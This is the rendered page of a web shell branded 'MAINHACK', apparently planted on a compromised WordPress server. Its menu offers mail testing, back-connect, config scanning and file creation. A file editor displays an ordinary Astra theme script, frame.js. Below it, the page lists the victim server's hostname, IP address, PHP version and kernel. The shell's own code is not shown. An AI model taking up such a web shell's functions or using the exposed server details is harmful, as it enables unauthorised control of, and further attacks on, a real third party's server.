[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: frame.js
var Frame = wp.media.view.Frame, AstraAttachmentsBrowser; wp.media.view.AstraContent = require( './content.js' ); AstraAttachmentsBrowser = Frame.extend({ tagName: 'div', className: 'attachments-browser ast-attachments-browser', images : [], object: [], initialize: function() { _.defaults( this.options, { filters: false, search: true, date: true, display: false, sidebar: true, AttachmentView: wp.media.view.Attachment.Library }); // Add a heading before the attachments list. this.createContent(); }, createContent: function() { this.attachmentsHeading = new wp.media.view.Heading( { text: astraImages.title, level: 'h3', className: 'ast-media-views-heading' } ); // this.views.add( this.attachmentsHeading ); this.views.add( new wp.media.view.AstraContent ); this.$el.find( '.ast-image__search' ).wrapAll( '<div class="ast-image__search-wrap">' ).parent().html(); this.$el.find( '.ast-image__search-wrap' ).append( '<span class="ast-icon-search search-icon"></span>' ); }, photoUploadComplete: function( savedImage ) { if ( savedImage && savedImage.attachmentData) { this.model.frame.content.mode("browse") this.model.get("selection").add( savedImage.attachmentData ) this.model.frame.trigger("library:selection:add") this.model.get("selection") jQuery(".media-frame .media-button-select").click() } } }); module.exports = AstraAttachmentsBrowser;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server.dijitaldukkanim.com.tr
Server IP: 104.247.168.220
PHP Version: 8.1.33
Server Software: Apache
System: Linux server.dijitaldukkanim.com.tr 4.18.0-553.105.1.el8_10.x86_64 #1 SMP Tue Feb 17 05:17:39 EST 2026 x86_64
HDD Total: 492.3 GB
HDD Free: 180.52 GB
Domains on IP: N/A (Requires external lookup)
System Features